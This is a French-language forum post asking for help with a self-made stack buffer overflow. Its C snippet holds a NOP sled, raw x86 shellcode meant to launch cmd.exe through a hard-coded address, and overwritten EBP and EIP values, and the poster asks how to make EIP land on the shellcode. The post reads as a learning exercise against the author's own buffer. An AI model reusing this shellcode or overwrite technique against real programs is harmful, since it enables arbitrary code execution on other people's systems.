Salut a tous,
J'essaies en vain de provoquer un depassement de memoire dans un buffer que j'ai cree.
Voici le code :
char buf[120];
LoadLibrary("msvcrt.dll");
strcpy(buf,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"
"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\xB8\xC7\x93\xC2\x77\x50"
"\x8D\x45\xF8"
"\x01\x01\x01\x01" //EBP
"\xA7\xFE\x12\x00"); //EIP
Le code qui y est injecte doit normalement creer un command en executant cmd.exe.
Si j'ai bien compris, mon EIP doit pointer sur l'addresse memoire de mon buffer ou commence le code c'est a dire apres le dernier 0x90.
Entre autre l'address EBP ne doit pas contenire valeur NULL. Donc je ne peut utiliser comme addresse 0x0012FEA6. Comment faut-il que je trouve une place dans la memoire ou je puisse executer les op-codes sauvegardes dans mon buffer ?
Lorsque je tente de faire un push a l'addresse 0x01010101, je recois un message d'erreur.
Quelqu'un pourrait-il m'aider...ou au moins me mettre dans la bonne direction ?
Merci d'avance.
David Fryda